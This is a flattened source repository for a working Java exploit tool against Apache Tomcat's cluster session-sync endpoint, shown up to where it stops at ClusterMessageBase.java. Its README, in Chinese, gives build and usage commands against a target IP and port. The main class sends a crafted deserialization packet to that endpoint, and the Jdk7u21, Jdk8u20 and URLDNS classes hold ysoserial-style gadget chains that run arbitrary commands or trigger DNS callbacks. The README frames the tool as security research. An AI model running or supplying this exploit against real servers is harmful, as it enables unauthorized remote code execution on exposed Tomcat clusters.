├── .gitignore ├── README.md ├── pom.xml └── src └── main └── java └── me └── threedr3am └── exp ├── TomcatSessionClusterExploit.java ├── payload ├── Jdk7u21.java ├── Jdk8u20.java ├── Payload.java ├── Payloads.java └── URLDNS.java ├── support ├── ChannelData.java ├── ChannelMessage.java ├── ClusterMessage.java ├── ClusterMessageBase.java ├── Member.java ├── MemberImpl.java ├── SessionMessage.java ├── SessionMessageImpl.java ├── UUIDGenerator.java └── XByteBuffer.java └── utils ├── ClassFiles.java ├── Converter.java ├── Gadgets.java ├── Reflections.java └── Serializer.java /.gitignore: -------------------------------------------------------------------------------- 1 | .idea 2 | *.iml 3 | target 4 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | *工具仅用于安全研究以及内部自查,禁止使用工具发起非法攻击,造成的后果使用者负责* 2 | 3 | ### tomcat cluster sync-session 利用exp 4 | 5 | 这是一个tomcat使用了自带session同步功能时,不安全的配置(没有使用EncryptInterceptor)导致存在的反序列化漏洞,通过精心构造的数据包, 6 | 可以对使用了tomcat自带session同步功能的服务器进行攻击。 7 | 8 | 9 | ### 使用 10 | 11 | 先编译出jar包: 12 | ``` 13 | mvn clean compile assembly:assembly 14 | ``` 15 | 生成jar包存在于target目录下 16 | 17 | 使用,例: 18 | 19 | ``` 20 | java -jar tomcat-cluster-session-sync-exp-1.0-SNAPSHOT-jar-with-dependencies.jar 127.0.0.1 5000 Jdk7u21 "/bin/bash", "-c", "/System/Applications/Calculator.app/Contents/MacOS/Calculator" 21 | java -jar tomcat-cluster-session-sync-exp-1.0-SNAPSHOT-jar-with-dependencies.jar 127.0.0.1 5000 Jdk8u20 "/bin/bash", "-c", "/System/Applications/Calculator.app/Contents/MacOS/Calculator" 22 | java -jar tomcat-cluster-session-sync-exp-1.0-SNAPSHOT-jar-with-dependencies.jar 127.0.0.1 5000 URLDNS "http://tomcat.xxxxx.ceye.io" 23 | ``` 24 | 25 | ### 条件 26 | 1. tomcat启用了session同步,没有配置EncryptInterceptor 27 | 2. jdk版本低于jdk8u20、jdk7u21(不知道有没有错) 28 | 3. 同步端点可访问(一般是内网) 29 | 30 | ### tomcat-session同步配置 31 | (conf/server.xml): 32 | ``` 33 | 34 | ... 35 | 36 | 37 | ... 38 | 39 | 40 | ... 41 | 42 | 44 | 45 | 49 | 50 | 51 | 52 | 57 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 70 | 71 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | ``` 83 | -------------------------------------------------------------------------------- /pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 4.0.0 6 | 7 | me.threedr3am.exp 8 | tomcat-cluster-session-sync-exp 9 | 1.0-SNAPSHOT 10 | 11 | 12 | 13 | javassist 14 | javassist 15 | 3.12.0.GA 16 | compile 17 | 18 | 19 | 20 | 21 | 22 | 23 | org.apache.maven.plugins 24 | maven-assembly-plugin 25 | 26 | 27 | 28 | me.threedr3am.exp.TomcatSessionClusterExploit 29 | 30 | 31 | 32 | jar-with-dependencies 33 | 34 | false 35 | 36 | 37 | 38 | make-assembly 39 | package 40 | 41 | single 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | -------------------------------------------------------------------------------- /src/main/java/me/threedr3am/exp/TomcatSessionClusterExploit.java: -------------------------------------------------------------------------------- 1 | package me.threedr3am.exp; 2 | 3 | 4 | import java.net.Socket; 5 | import java.util.Arrays; 6 | import me.threedr3am.exp.payload.Payload; 7 | import me.threedr3am.exp.payload.Payloads; 8 | import me.threedr3am.exp.support.ChannelData; 9 | import me.threedr3am.exp.support.MemberImpl; 10 | import me.threedr3am.exp.support.XByteBuffer; 11 | import me.threedr3am.exp.utils.Serializer; 12 | 13 | 14 | /** 15 | * todo 当tomcat使用了cluster功能共享session时,若同步端点可被访问,即可发生恶意序列化数据进行RCE 16 | * 17 | * conf/server.xml 18 | * 19 | * 21 | * 22 | * 26 | * 27 | * 28 | * 29 | * 34 | * 39 | * 40 | * 41 | * 42 | * 43 | * 44 | * 45 | * 47 | * 48 | * 53 | * 54 | * 55 | * 56 | * 57 | * @author threedr3am 58 | * 59 | */ 60 | public class TomcatSessionClusterExploit { 61 | 62 | public static final void main ( String[] args ) throws Exception { 63 | // args = new String[] {"127.0.0.1", "5000", "Jdk7u21" ,"/bin/bash", "-c", "touch /tmp/11111"}; 64 | // args = new String[] {"127.0.0.1", "5000", "Jdk8u20" ,"/bin/bash", "-c", "touch /tmp/11111"}; 65 | // args = new String[] {"127.0.0.1", "5000", "Jdk8u20" ,"/bin/bash", "-c", "/System/Applications/Calculator.app/Contents/MacOS/Calculator"}; 66 | // args = new String[] {"127.0.0.1", "5000", "URLDNS", "http://tomcat.xxxxx.ceye.io"}; 67 | if ( args.length < 4 ) { 68 | System.err.println(TomcatSessionClusterExploit.class.getName() + " "); 69 | System.exit(-1); 70 | } 71 | Class c = Payloads.valueOf(args[2]).getClazz(); 72 | final Object payloadObject = c.newInstance().getObject(Arrays.copyOfRange(args, 3, args.length)); 73 | byte[] ser = payloadObject instanceof byte[] ? (byte[]) payloadObject : Serializer.serialize(payloadObject); 74 | 75 | ChannelData data = new ChannelData(true);//generates a unique Id 76 | data.setAddress(new MemberImpl("127.0.0.1", 11111, 1000)); 77 | data.setTimestamp(System.currentTimeMillis()); 78 | XByteBuffer xByteBuffer = new XByteBuffer(ser.length, false); 79 | xByteBuffer.append(ser, 0, ser.length); 80 | data.setMessage(xByteBuffer); 81 | ser = XByteBuffer.createDataPackage(data); 82 | 83 | Socket socket = new Socket(args[0], Integer.parseInt(args[1])); 84 | socket.getOutputStream().write(ser); 85 | socket.getOutputStream().close(); 86 | } 87 | } 88 | -------------------------------------------------------------------------------- /src/main/java/me/threedr3am/exp/payload/Jdk7u21.java: -------------------------------------------------------------------------------- 1 | package me.threedr3am.exp.payload; 2 | 3 | import java.lang.reflect.InvocationHandler; 4 | import java.util.HashMap; 5 | import java.util.LinkedHashSet; 6 | import javax.xml.transform.Templates; 7 | import me.threedr3am.exp.utils.Gadgets; 8 | import me.threedr3am.exp.utils.Reflections; 9 | 10 | /* 11 | 12 | Gadget chain that works against JRE 1.7u21 and earlier. Payload generation has 13 | the same JRE version requirements. 14 | 15 | See: https://gist.github.com/frohoff/24af7913611f8406eaf3 16 | 17 | Call tree: 18 | 19 | LinkedHashSet.readObject() 20 | LinkedHashSet.add() 21 | ... 22 | TemplatesImpl.hashCode() (X) 23 | LinkedHashSet.add() 24 | ... 25 | Proxy(Templates).hashCode() (X) 26 | AnnotationInvocationHandler.invoke() (X) 27 | AnnotationInvocationHandler.hashCodeImpl() (X) 28 | String.hashCode() (0) 29 | AnnotationInvocationHandler.memberValueHashCode() (X) 30 | TemplatesImpl.hashCode() (X) 31 | Proxy(Templates).equals() 32 | AnnotationInvocationHandler.invoke() 33 | AnnotationInvocationHandler.equalsImpl() 34 | Method.invoke() 35 | ... 36 | TemplatesImpl.getOutputProperties() 37 | TemplatesImpl.newTransformer() 38 | TemplatesImpl.getTransletInstance() 39 | TemplatesImpl.defineTransletClasses() 40 | ClassLoader.defineClass() 41 | Class.newInstance() 42 | ... 43 | MaliciousClass.() 44 | ... 45 | Runtime.exec() 46 | */ 47 | 48 | /** 49 | * code from ysoserial 50 | */ 51 | @SuppressWarnings({ "rawtypes", "unchecked" }) 52 | public class Jdk7u21 implements Payload { 53 | 54 | public Object getObject(final String... command) throws Exception { 55 | final Object templates = Gadgets.createTemplatesImpl(command); 56 | 57 | String zeroHashCodeStr = "f5a5a608"; 58 | 59 | HashMap map = new HashMap(); 60 | map.put(zeroHashCodeStr, "foo"); 61 | 62 | InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance( 63 | Override.class, map); 64 | Reflections.setFieldValue(tempHandler, "type", Templates.class); 65 | Templates proxy = Gadgets.createProxy(tempHandler, Templates.class); 66 | 67 | LinkedHashSet set = new LinkedHashSet(); // maintain order 68 | set.add(templates); 69 | set.add(proxy); 70 | 71 | Reflections.setFieldValue(templates, "_auxClasses", null); 72 | Reflections.setFieldValue(templates, "_class", null); 73 | 74 | map.put(zeroHashCodeStr, templates); // swap in real object 75 | 76 | return set; 77 | } 78 | 79 | } 80 | -------------------------------------------------------------------------------- /src/main/java/me/threedr3am/exp/payload/Jdk8u20.java: -------------------------------------------------------------------------------- 1 | package me.threedr3am.exp.payload; 2 | 3 | import static java.io.ObjectStreamConstants.SC_SERIALIZABLE; 4 | import static java.io.ObjectStreamConstants.SC_WRITE_METHOD; 5 | import static java.io.ObjectStreamConstants.STREAM_MAGIC; 6 | import static java.io.ObjectStreamConstants.STREAM_VERSION; 7 | import static java.io.ObjectStreamConstants.TC_BLOCKDATA; 8 | import static java.io.ObjectStreamConstants.TC_CLASSDESC; 9 | import static java.io.ObjectStreamConstants.TC_ENDBLOCKDATA; 10 | import static java.io.ObjectStreamConstants.TC_NULL; 11 | import static java.io.ObjectStreamConstants.TC_OBJECT; 12 | import static java.io.ObjectStreamConstants.TC_PROXYCLASSDESC; 13 | import static java.io.ObjectStreamConstants.TC_REFERENCE; 14 | import static java.io.ObjectStreamConstants.TC_STRING; 15 | import static java.io.ObjectStreamConstants.baseWireHandle; 16 | 17 | import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; 18 | import java.beans.beancontext.BeanContextChildSupport; 19 | import java.beans.beancontext.BeanContextSupport; 20 | import java.lang.reflect.Proxy; 21 | import java.util.HashMap; 22 | import java.util.HashSet; 23 | import java.util.LinkedHashSet; 24 | import javax.xml.transform.Templates; 25 | import me.threedr3am.exp.utils.Converter; 26 | import me.threedr3am.exp.utils.Gadgets; 27 | import me.threedr3am.exp.utils.Reflections; 28 | 29 | 30 | /* 31 | 32 | Gadget chain that works against JRE 1.8u20 and earlier. Payload generation has 33 | the same JRE version requirements. 34 | 35 | See: https://gist.github.com/pwntester/ab70e88821b4a6633c06 36 | */ 37 | 38 | /** 39 | * code from ysoserial 40 | */ 41 | @SuppressWarnings({ "rawtypes", "unchecked" }) 42 | public class Jdk8u20 implements Payload { 43 | 44 | public Object getObject(final String... command) throws Exception { 45 | TemplatesImpl templates = (TemplatesImpl) Gadgets.createTemplatesImpl(command); 46 | Reflections.setFieldValue(templates, "_auxClasses", null); 47 | byte[] bytes = Converter.toBytes(getData(templates)); 48 | patch(bytes); 49 | return bytes; 50 | } 51 | 52 | public static byte[] patch(byte[] bytes) { 53 | for (int i = 0; i < bytes.length; i++) { 54 | if (bytes[i] == 0x71 && bytes[i+1] == 0x00 && bytes[i+2] == 0x7e && bytes[i+3] ==0x00) { 55 | i = i + 4; 56 | // System.out.print("Adjusting reference from: " + bytes[i]); 57 | if (bytes[i] == 1) bytes[i] = 5; // (String) 58 | if (bytes[i] == 10) bytes[i] = 13; // (ObjectStreamClass) [[B 59 | if (bytes[i] == 12) bytes[i] = 25; // (BeanContextSupport) 60 | if (bytes[i] == 2) bytes[i] = 9; // (TemplatesImpl) 61 | if (bytes[i] == 16) bytes[i] = 29; // (InvocationHandler) 62 | // System.out.println(" to: " + bytes[i]); 63 | } 64 | } 65 | return bytes; 66 | } 67 | 68 | static Object[] getData(TemplatesImpl templates) { 69 | 70 | HashMap map = new HashMap(); 71 | // We need map.put("f5a5a608", templates) but ObjectOutputStream does not create a 72 | // reference for templates so that its exactly the same instance as the one added 73 | // directly to the LinkedHashSet. So instead, we can add a string since OOS 74 | // will create a reference to the existing string, and then I can manually 75 | // replace the reference with one pointing to the templates instance in the LinkedHashSet 76 | map.put("f5a5a608", "f5a5a608"); 77 | 78 | int offset = 0; 79 | return new Object[]{ 80 | STREAM_MAGIC, STREAM_VERSION, // stream headers 81 | 82 | // (1) LinkedHashSet 83 | TC_OBJECT, 84 | TC_CLASSDESC, 85 | LinkedHashSet.class.getName(), 86 | -2851667679971038690L, 87 | (byte) 2, // flags 88 | (short) 0, // field count 89 | TC_ENDBLOCKDATA, 90 | TC_CLASSDESC, // super class 91 | HashSet.class.getName(), 92 | -5024744406713321676L, 93 | (byte) 3, // flags 94 | (short) 0, // field count 95 | TC_ENDBLOCKDATA, 96 | TC_NULL, // no superclass 97 | 98 | // Block data that will be read by HashSet.readObject() 99 | // Used to configure the HashSet (capacity, loadFactor, size and items) 100 | TC_BLOCKDATA, 101 | (byte) 12, 102 | (short) 0, 103 | (short) 16, // capacity 104 | (short) 16192, (short) 0, (short) 0, // loadFactor 105 | (short) 2, // size 106 | 107 | // (2) First item in LinkedHashSet 108 | templates, // TemplatesImpl instance with malicious bytecode 109 | 110 | // (3) Second item in LinkedHashSet 111 | // Templates Proxy with AIH handler 112 | TC_OBJECT, 113 | TC_PROXYCLASSDESC, // proxy declaration 114 | 1, // one interface 115 | Templates.class.getName(), // the interface implemented by the proxy 116 | TC_ENDBLOCKDATA, 117 | TC_CLASSDESC, 118 | Proxy.class.getName(), // java.lang.Proxy class desc 119 | -2222568056686623797L, // serialVersionUID 120 | SC_SERIALIZABLE, // flags 121 | (short) 2, // field count 122 | (byte) 'L', "dummy", TC_STRING, "Ljava/lang/Object;", // dummy non-existent field 123 | (byte) 'L', "h", TC_STRING, "Ljava/lang/reflect/InvocationHandler;", // h field 124 | TC_ENDBLOCKDATA, 125 | TC_NULL, // no superclass 126 | 127 | // (3) Field values 128 | // value for the dummy field <--- BeanContextSupport. 129 | // this field does not actually exist in the Proxy class, so after deserialization this object is ignored. 130 | // (4) BeanContextSupport 131 | TC_OBJECT, 132 | TC_CLASSDESC, 133 | BeanContextSupport.class.getName(), 134 | -4879613978649577204L, // serialVersionUID 135 | (byte) (SC_SERIALIZABLE | SC_WRITE_METHOD), 136 | (short) 1, // field count 137 | (byte) 'I', "serializable", // serializable field, number of serializable children 138 | TC_ENDBLOCKDATA, 139 | TC_CLASSDESC, // super class 140 | BeanContextChildSupport.class.getName(), 141 | 6328947014421475877L, 142 | SC_SERIALIZABLE, 143 | (short) 1, // field count 144 | (byte) 'L', "beanContextChildPeer", TC_STRING, "Ljava/beans/beancontext/BeanContextChild;", 145 | TC_ENDBLOCKDATA, 146 | TC_NULL, // no superclass 147 | 148 | // (4) Field values 149 | // beanContextChildPeer must point back to this BeanContextSupport for BeanContextSupport.readObject to go into BeanContextSupport.readChildren() 150 | TC_REFERENCE, baseWireHandle + 12, 151 | // serializable: one serializable child 152 | 1, 153 | 154 | // now we add an extra object that is not declared, but that will be read/consumed by readObject 155 | // BeanContextSupport.readObject calls readChildren because we said we had one serializable child but it is not in the byte array 156 | // so the call to child = ois.readObject() will deserialize next object in the stream: the AnnotationInvocationHandler 157 | // At this point we enter the readObject of the aih that will throw an exception after deserializing its default objects 158 | 159 | // (5) AIH that will be deserialized as part of the BeanContextSupport 160 | TC_OBJECT, 161 | TC_CLASSDESC, 162 | "sun.reflect.annotation.AnnotationInvocationHandler", 163 | 6182022883658399397L, // serialVersionUID 164 | (byte) (SC_SERIALIZABLE | SC_WRITE_METHOD), 165 | (short) 2, // field count 166 | (byte) 'L', "type", TC_STRING, "Ljava/lang/Class;", // type field 167 | (byte) 'L', "memberValues", TC_STRING, "Ljava/util/Map;", // memberValues field 168 | TC_ENDBLOCKDATA, 169 | TC_NULL, // no superclass 170 | 171 | // (5) Field Values 172 | Templates.class, // type field value 173 | map, // memberValues field value 174 | 175 | // note: at this point normally the BeanContextSupport.readChildren would try to read the 176 | // BCSChild; but because the deserialization of the AnnotationInvocationHandler above throws, 177 | // we skip past that one into the catch block, and continue out of readChildren 178 | 179 | // the exception takes us out of readChildren and into BeanContextSupport.readObject 180 | // where there is a call to deserialize(ois, bcmListeners = new ArrayList(1)); 181 | // Within deserialize() there is an int read (0) and then it will read as many obejcts (0) 182 | 183 | TC_BLOCKDATA, 184 | (byte) 4, // block length 185 | 0, // no BeanContextSupport.bcmListenes 186 | TC_ENDBLOCKDATA, 187 | 188 | // (6) value for the Proxy.h field 189 | TC_REFERENCE, baseWireHandle + offset + 16, // refer back to the AnnotationInvocationHandler 190 | 191 | TC_ENDBLOCKDATA, 192 | }; 193 | } 194 | 195 | } 196 | -------------------------------------------------------------------------------- /src/main/java/me/threedr3am/exp/payload/Payload.java: -------------------------------------------------------------------------------- 1 | package me.threedr3am.exp.payload; 2 | 3 | /** 4 | * @author threedr3am 5 | */ 6 | public interface Payload { 7 | Object getObject(String... command) throws Exception; 8 | } 9 | -------------------------------------------------------------------------------- /src/main/java/me/threedr3am/exp/payload/Payloads.java: -------------------------------------------------------------------------------- 1 | package me.threedr3am.exp.payload; 2 | 3 | /** 4 | * @author threedr3am 5 | */ 6 | public enum Payloads { 7 | URLDNS(URLDNS.class), 8 | Jdk7u21(Jdk7u21.class), 9 | Jdk8u20(Jdk8u20.class), 10 | ; 11 | 12 | private Class clazz; 13 | 14 | Payloads( 15 | Class clazz) { 16 | this.clazz = clazz; 17 | } 18 | 19 | public Class getClazz() { 20 | return clazz; 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /src/main/java/me/threedr3am/exp/payload/URLDNS.java: -------------------------------------------------------------------------------- 1 | package me.threedr3am.exp.payload; 2 | 3 | import java.io.IOException; 4 | import java.net.InetAddress; 5 | import java.net.URL; 6 | import java.net.URLConnection; 7 | import java.net.URLStreamHandler; 8 | import java.util.HashMap; 9 | import me.threedr3am.exp.utils.Reflections; 10 | 11 | /** 12 | * A blog post with more details about this gadget chain is at the url below: 13 | * https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/ 14 | * 15 | * This was inspired by Philippe Arteau @h3xstream, who wrote a blog 16 | * posting describing how he modified the Java Commons Collections gadget 17 | * in ysoserial to open a URL. This takes the same idea, but eliminates 18 | * the dependency on Commons Collections and does a DNS lookup with just 19 | * standard JDK classes. 20 | * 21 | * The Java URL class has an interesting property on its equals and 22 | * hashCode methods. The URL class will, as a side effect, do a DNS lookup 23 | * during a comparison (either equals or hashCode). 24 | * 25 | * As part of deserialization, HashMap calls hashCode on each key that it 26 | * deserializes, so using a Java URL object as a serialized key allows 27 | * it to trigger a DNS lookup. 28 | * 29 | * Gadget Chain: 30 | * HashMap.readObject() 31 | * HashMap.putVal() 32 | * HashMap.hash() 33 | * URL.hashCode() 34 | * 35 | * 36 | */ 37 | @SuppressWarnings({ "rawtypes", "unchecked" }) 38 | /** 39 | * code from pwntester 40 | */ 41 | public class URLDNS implements Payload { 42 | 43 | public Object getObject(final String... url) throws Exception { 44 | 45 | //Avoid DNS resolution during payload creation 46 | //Since the field java.net.URL.handler is transient, it will not be part of the serialized payload. 47 | URLStreamHandler handler = new SilentURLStreamHandler(); 48 | 49 | HashMap ht = new HashMap(); // HashMap that will contain the URL 50 | URL u = new URL(null, url[0], handler); // URL to use as the Key 51 | ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup. 52 | 53 | Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered. 54 | 55 | return ht; 56 | } 57 | 58 | 59 | /** 60 | *

This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance. 61 | * DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior 62 | * using the serialized object.

63 | * 64 | * Potential false negative: 65 | *

If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the 66 | * second resolution.

67 | */ 68 | static class SilentURLStreamHandler extends URLStreamHandler { 69 | 70 | protected URLConnection openConnection(URL u) throws IOException { 71 | return null; 72 | } 73 | 74 | protected synchronized InetAddress getHostAddress(URL u) { 75 | return null; 76 | } 77 | } 78 | } 79 | -------------------------------------------------------------------------------- /src/main/java/me/threedr3am/exp/support/ChannelData.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Licensed to the Apache Software Foundation (ASF) under one or more 3 | * contributor license agreements. See the NOTICE file distributed with 4 | * this work for additional information regarding copyright ownership. 5 | * The ASF licenses this file to You under the Apache License, Version 2.0 6 | * (the "License"); you may not use this file except in compliance with 7 | * the License. You may obtain a copy of the License at 8 | * 9 | * http://www.apache.org/licenses/LICENSE-2.0 10 | * 11 | * Unless required by applicable law or agreed to in writing, software 12 | * distributed under the License is distributed on an "AS IS" BASIS, 13 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 14 | * See the License for the specific language governing permissions and 15 | * limitations under the License. 16 | */ 17 | package me.threedr3am.exp.support; 18 | 19 | import java.sql.Timestamp; 20 | import java.util.Arrays; 21 | 22 | /** 23 | * The ChannelData object is used to transfer a message through the 24 | * channel interceptor stack and eventually out on a transport to be sent 25 | * to another node. While the message is being processed by the different 26 | * interceptors, the message data can be manipulated as each interceptor seems appropriate. 27 | * @author Peter Rossbach 28 | */ 29 | public class ChannelData implements ChannelMessage { 30 | private static final long serialVersionUID = 1L; 31 | 32 | public static final ChannelData[] EMPTY_DATA_ARRAY = new ChannelData[0]; 33 | 34 | public static volatile boolean USE_SECURE_RANDOM_FOR_UUID = false; 35 | 36 | /** 37 | * The options this message was sent with 38 | */ 39 | private int options = 0 ; 40 | /** 41 | * The message data, stored in a dynamic buffer 42 | */ 43 | private XByteBuffer message ; 44 | /** 45 | * The timestamp that goes with this message 46 | */ 47 | private long timestamp ; 48 | /** 49 | * A unique message id 50 | */ 51 | private byte[] uniqueId ; 52 | /** 53 | * The source or reply-to address for this message 54 | */ 55 | private Member address; 56 | 57 | /** 58 | * Creates an empty channel data with a new unique Id 59 | * @see #ChannelData(boolean) 60 | */ 61 | public ChannelData() { 62 | this(true); 63 | } 64 | 65 | /** 66 | * Create an empty channel data object 67 | * @param generateUUID boolean - if true, a unique Id will be generated 68 | */ 69 | public ChannelData(boolean generateUUID) { 70 | if ( generateUUID ) generateUUID(); 71 | } 72 | 73 | 74 | /** 75 | * Creates a new channel data object with data 76 | * @param uniqueId - unique message id 77 | * @param message - message data 78 | * @param timestamp - message timestamp 79 | */ 80 | public ChannelData(byte[] uniqueId, XByteBuffer message, long timestamp) { 81 | this.uniqueId = uniqueId; 82 | this.message = message; 83 | this.timestamp = timestamp; 84 | } 85 | 86 | /** 87 | * @return Returns the message byte buffer 88 | */ 89 | @Override 90 | public XByteBuffer getMessage() { 91 | return message; 92 | } 93 | /** 94 | * @param message The message to send. 95 | */ 96 | @Override 97 | public void setMessage(XByteBuffer message) { 98 | this.message = message; 99 | } 100 | /** 101 | * @return Returns the timestamp. 102 | */ 103 | @Override 104 | public long getTimestamp() { 105 | return timestamp; 106 | } 107 | /** 108 | * @param timestamp The timestamp to send 109 | */ 110 | @Override 111 | public void setTimestamp(long timestamp) { 112 | this.timestamp = timestamp; 113 | } 114 | /** 115 | * @return Returns the uniqueId. 116 | */ 117 | @Override 118 | public byte[] getUniqueId() { 119 | return uniqueId; 120 | } 121 | /** 122 | * @param uniqueId The uniqueId to send. 123 | */ 124 | public void setUniqueId(byte[] uniqueId) { 125 | this.uniqueId = uniqueId; 126 | } 127 | /** 128 | * @return returns the message options 129 | * see org.apache.catalina.tribes.Channel#sendMessage(org.apache.catalina.tribes.Member[], java.io.Serializable, int) 130 | * 131 | */ 132 | @Override 133 | public int getOptions() { 134 | return options; 135 | } 136 | /** 137 | * Sets the message options. 138 | * 139 | * @param options the message options 140 | */ 141 | @Override 142 | public void setOptions(int options) { 143 | this.options = options; 144 | } 145 | 146 | /** 147 | * Returns the source or reply-to address 148 | * @return Member 149 | */ 150 | @Override 151 | public Member getAddress() { 152 | return address; 153 | } 154 | 155 | /** 156 | * Sets the source or reply-to address 157 | * @param address Member 158 | */ 159 | @Override 160 | public void setAddress(Member address) { 161 | this.address = address; 162 | } 163 | 164 | /** 165 | * Generates a UUID and invokes setUniqueId 166 | */ 167 | public void generateUUID() { 168 | byte[] data = new byte[16]; 169 | UUIDGenerator.randomUUID(USE_SECURE_RANDOM_FOR_UUID,data,0); 170 | setUniqueId(data); 171 | } 172 | 173 | public int getDataPackageLength() { 174 | int length = 175 | 4 + //options 176 | 8 + //timestamp off=4 177 | 4 + //unique id length off=12 178 | uniqueId.length+ //id data off=12+uniqueId.length 179 | 4 + //addr length off=12+uniqueId.length+4 180 | address.getDataLength()+ //member data off=12+uniqueId.length+4+add.length 181 | 4 + //message length off=12+uniqueId.length+4+add.length+4 182 | message.getLength(); 183 | return length; 184 | 185 | } 186 | 187 | /** 188 | * Serializes the ChannelData object into a byte[] array 189 | * @return byte[] 190 | */ 191 | public byte[] getDataPackage() { 192 | int length = getDataPackageLength(); 193 | byte[] data = new byte[length]; 194 | int offset = 0; 195 | return getDataPackage(data,offset); 196 | } 197 | 198 | public byte[] getDataPackage(byte[] data, int offset) { 199 | byte[] addr = address.getData(false); 200 | XByteBuffer.toBytes(options,data,offset); 201 | offset += 4; //options 202 | XByteBuffer.toBytes(timestamp,data,offset); 203 | offset += 8; //timestamp 204 | XByteBuffer.toBytes(uniqueId.length,data,offset); 205 | offset += 4; //uniqueId.length 206 | System.arraycopy(uniqueId,0,data,offset,uniqueId.length); 207 | offset += uniqueId.length; //uniqueId data 208 | XByteBuffer.toBytes(addr.length,data,offset); 209 | offset += 4; //addr.length 210 | System.arraycopy(addr,0,data,offset,addr.length); 211 | offset += addr.length; //addr data 212 | XByteBuffer.toBytes(message.getLength(),data,offset); 213 | offset += 4; //message.length 214 | System.arraycopy(message.getBytesDirect(),0,data,offset,message.getLength()); 215 | return data; 216 | } 217 | 218 | 219 | @Override 220 | public int hashCode() { 221 | return XByteBuffer.toInt(getUniqueId(),0); 222 | } 223 | 224 | /** 225 | * Compares to ChannelData objects, only compares on getUniqueId().equals(o.getUniqueId()) 226 | * @param o Object 227 | * @return boolean 228 | */ 229 | @Override 230 | public boolean equals(Object o) { 231 | if ( o instanceof ChannelData) { 232 | return Arrays.equals(getUniqueId(),((ChannelData)o).getUniqueId()); 233 | } else return false; 234 | } 235 | 236 | /** 237 | * Create a shallow clone, only the data gets recreated 238 | * @return ClusterData 239 | */ 240 | @Override 241 | public ChannelData clone() { 242 | ChannelData clone; 243 | try { 244 | clone = (ChannelData) super.clone(); 245 | } catch (CloneNotSupportedException e) { 246 | // Cannot happen 247 | throw new AssertionError(); 248 | } 249 | if (this.message != null) { 250 | clone.message = new XByteBuffer(this.message.getBytesDirect(),false); 251 | } 252 | return clone; 253 | } 254 | 255 | /** 256 | * Complete clone 257 | * @return ClusterData 258 | */ 259 | @Override 260 | public Object deepclone() { 261 | byte[] d = this.getDataPackage(); 262 | return null; 263 | } 264 | 265 | @Override 266 | public String toString() { 267 | StringBuilder buf = new StringBuilder(); 268 | buf.append("ClusterData[src="); 269 | buf.append(getAddress()).append("; id="); 270 | buf.append(bToS(getUniqueId())).append("; sent="); 271 | buf.append(new Timestamp(this.getTimestamp()).toString()).append("]"); 272 | return buf.toString(); 273 | } 274 | 275 | public static String bToS(byte[] data) { 276 | StringBuilder buf = new StringBuilder(4*16); 277 | buf.append("{"); 278 | for (int i=0; data!=null && iChannel.getLocalMember(boolean)
33 | * This would be set to a different address 34 | * if the message was being relayed from a host other than the one 35 | * that originally sent it. 36 | * @return the source or reply-to address of this message 37 | */ 38 | public Member getAddress(); 39 | 40 | /** 41 | * Sets the source or reply-to address of this message 42 | * @param member Member 43 | */ 44 | public void setAddress(Member member); 45 | 46 | /** 47 | * Timestamp of when the message was created. 48 | * @return long timestamp in milliseconds 49 | */ 50 | public long getTimestamp(); 51 | 52 | /** 53 | * 54 | * Sets the timestamp of this message 55 | * @param timestamp The timestamp 56 | */ 57 | public void setTimestamp(long timestamp); 58 | 59 | /** 60 | * Each message must have a globally unique Id. 61 | * interceptors heavily depend on this id for message processing 62 | * @return byte 63 | */ 64 | public byte[] getUniqueId(); 65 | 66 | /** 67 | * The byte buffer that contains the actual message payload 68 | * @param buf XByteBuffer 69 | */ 70 | public void setMessage(XByteBuffer buf); 71 | 72 | /** 73 | * returns the byte buffer that contains the actual message payload 74 | * @return XByteBuffer 75 | */ 76 | public XByteBuffer getMessage(); 77 | 78 | /** 79 | * The message options is a 32 bit flag set 80 | * that triggers interceptors and message behavior. 81 | * @see Channel#send(Member[], Serializable, int) 82 | * @see ChannelInterceptor#getOptionFlag 83 | * @return int - the option bits set for this message 84 | */ 85 | public int getOptions(); 86 | 87 | /** 88 | * sets the option bits for this message 89 | * @param options int 90 | * @see #getOptions() 91 | */ 92 | public void setOptions(int options); 93 | 94 | /** 95 | * Shallow clone, what gets cloned depends on the implementation 96 | * @return ChannelMessage 97 | */ 98 | public Object clone(); 99 | 100 | /** 101 | * Deep clone, all fields MUST get cloned 102 | * @return ChannelMessage 103 | */ 104 | public Object deepclone(); 105 | } 106 | -------------------------------------------------------------------------------- /src/main/java/me/threedr3am/exp/support/ClusterMessage.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Licensed to the Apache Software Foundation (ASF) under one or more 3 | * contributor license agreements. See the NOTICE file distributed with 4 | * this work for additional information regarding copyright ownership. 5 | * The ASF licenses this file to You under the Apache License, Version 2.0 6 | * (the "License"); you may not use this file except in compliance with 7 | * the License. You may obtain a copy of the License at 8 | * 9 | * http://www.apache.org/licenses/LICENSE-2.0 10 | * 11 | * Unless required by applicable law or agreed to in writing, software 12 | * distributed under the License is distributed on an "AS IS" BASIS, 13 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 14 | * See the License for the specific language governing permissions and 15 | * limitations under the License. 16 | */ 17 | package me.threedr3am.exp.support; 18 | 19 | import java.io.Serializable; 20 | 21 | public interface ClusterMessage extends Serializable { 22 | public Member getAddress(); 23 | public void setAddress(Member member); 24 | public String getUniqueId(); 25 | public long getTimestamp(); 26 | public void setTimestamp(long timestamp); 27 | } 28 | -------------------------------------------------------------------------------- /src/main/java/me/threedr3am/exp/support/ClusterMessageBase.java: 